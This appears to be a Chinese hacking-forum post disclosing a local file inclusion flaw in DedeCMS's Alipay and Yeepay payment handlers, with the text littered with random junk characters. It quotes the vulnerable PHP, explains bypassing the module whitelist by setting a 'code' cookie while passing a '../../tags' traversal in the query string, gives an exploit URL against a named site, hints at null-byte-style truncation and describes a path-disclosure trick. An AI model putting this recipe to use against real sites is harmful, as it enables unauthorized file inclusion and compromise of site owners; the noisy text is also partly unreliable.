晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)0 y* p' e, s) \1 c6 l/ H* V" Z
; Y2 M; B& l$ N' Z) |; T4 a& ^出现漏洞的两个文件为:- f. E, j* d& V
Include/payment/alipay.php4 D7 t4 [4 H- e+ a) _
Include/payment/yeepay.php
8 [: r( J9 T& M6 B( ?, `漏洞均出现在respond方法里,估计这两个文件是临时工写的。
3 A( K- G2 d t) S+ f
( X9 \% U2 H. ^' f' `' EInclude/payment/alipay.php$ k# k7 v1 T; p% [; Q0 [; ~" f1 s r! o
5 Y2 B) T) X9 G) {6 v
......5 H6 a% u6 g- x8 E/ A
function respond()
; F7 h& T/ d4 s {. |9 n2 u! f/ i6 ^; Y) \
if (!empty($_POST))# p0 u, @ l; e7 t' v5 r6 p
{
7 R. M2 X1 I, I3 k6 F foreach($_POST as $key => $data)
D* B8 b, q6 |. {* ^ {& J2 ^. l! p2 t* ~) m
$_GET[$key] = $data;6 _5 s, ?: @5 \! Z& H w! C
}0 k6 }' J4 \$ ?3 B3 h$ E
}0 f+ Q6 [6 c4 F; |" ]
/* 引入配置文件 */* z. e& I; i, R O' y- y
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
6 y8 d% s3 m* k...... 3 a) v h' R% A! N/ l. Z* Y3 W5 x
8 n+ Q- F; h: R3 H A; N' z! H: h9 Y. m; _5 E
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
5 I* ]$ c! D) v& t2 f, \! l* G1 O0 @) U' ~) A3 E* s
Include/payment/yeepay.php
- O6 N9 {8 a- B8 @
' ]5 i* V/ R3 h; | N
! B+ v# N4 q4 g3 N( n: L* N9 E" H1 V
......1 U) T$ x% ^" r
function respond()
' T6 N4 o1 W; U. Y" l {% u) I2 h1 ~% m# @
& ~" `- e. t! l! x5 O+ r/ K# X /* 引入配置文件 */
1 u; i) L' { i4 a" C require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
# }2 v" `. A+ D , u! O: l, R {, c/ l' o3 P7 |
$p1_MerId = trim($payment['yp_account']);/ f4 Z, c. b# d/ ^) O
$merchantKey = trim($payment['yp_key']);" \/ c9 R9 C( _
......
( l! {- z2 @' X! v , s7 a" g: Q" ~: P& ~
9 H, y( b; i, y! y) k1 }" e3 @ 3 z1 \$ M; B$ Z2 D( W( N
4 J( a4 }/ u4 A$ ^大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。$ d' o0 [, D& {. A+ f
* w/ E- s3 g7 o这两个方法在plus/carbuyaction.php文件调用。; k# b/ E* I6 x7 [
3 \, H9 X! n9 V5 {0 z4 zplus/carbuyaction.php
& r7 {0 d6 Q" B h- ^5 }4 C5 K A* S- W0 L' ?
......
5 j. c7 ~+ V1 }- y7 U7 q} else if ($dopost == 'return') {3 q6 u# x; k+ \8 J" `$ E/ o* D6 ?: K
$write_list = array('alipay', 'bank', 'cod', 'yeepay');1 @, [" S4 U' e
if (in_array($code, $write_list))8 H9 }3 j B# [
{
* c! s" N( L! n# f( P9 J/ Y require_once DEDEINC.'/payment/'.$code.'.php';$ O S# u/ \: m# H9 p8 m
$pay = new $code;( Y' k9 V- P+ {3 A# t0 n
$msg=$pay->respond();, d; C: m9 }0 U/ ~( q8 p# M2 y' }
ShowMsg($msg, "javascript:;", 0, 3000);, {% p0 s9 t: A8 ^: Q
exit(); 8 y! i( k1 U- t* k
} else {* S9 y+ ^9 u/ \ H
exit('Error:File Type Can\'t Recognized!');
) I9 n/ O4 s$ ^0 D. D: y# n }& h7 b" m: Q' s$ o
}
/ u6 D B7 p3 u$ ^6 k......
) G5 ?3 ?; g# q7 w k3 p4 ^
9 p9 s y) x8 H3 ^
% a% i" G5 h( ]1 f6 I- @9 |. u+ ^
- `2 n$ z Z) @6 B6 O1 l8 ?& ~$ c1 v$ H# q6 A( H
- H. A0 f: \1 W, F- N6 A; |
) {: k" T. f. t/ e( K* o( d大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。- k t$ P1 Z! a( g2 n
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
2 k+ f& S9 O5 v) F2 n$ H7 m, h `7 e- s5 D. }! l7 f: J+ G9 @
回到include/common.inc.php来看看他的机制。
4 l# A2 t" m! `* x; Y7 b
e" t1 r- { X- L$ u
6 W2 N! g9 H' t. Y `. ^% c/ ^
/ ]6 ~* I5 g4 k, |& \......8 v7 P# J S4 i6 h% U9 B# N
foreach(Array('_GET','_POST','_COOKIE') as $_request)6 Q/ s5 ]* M+ _8 ~. n* q
{
% s. J, D$ P( A( a# S9 b- B foreach($$_request as $_k => $_v)
/ Q# I8 B4 x; H! Z {* }/ D2 o# _3 m* a. h7 [( I @
if($_k == 'nvarname') ${$_k} = $_v;/ x- D5 o- \/ D( P$ I- \" e. L. A% b$ G
else ${$_k} = _RunMagicQuotes($_v);4 ~9 R( \5 }6 W) w" u- u$ \
}
5 A1 [3 t2 j: H}
3 t5 I0 Y- [' G g T, Z...... " x1 U3 x1 c Y) K! L N
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
! i# M. n3 O( \% D, k& e/ l1 `% J7 K由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |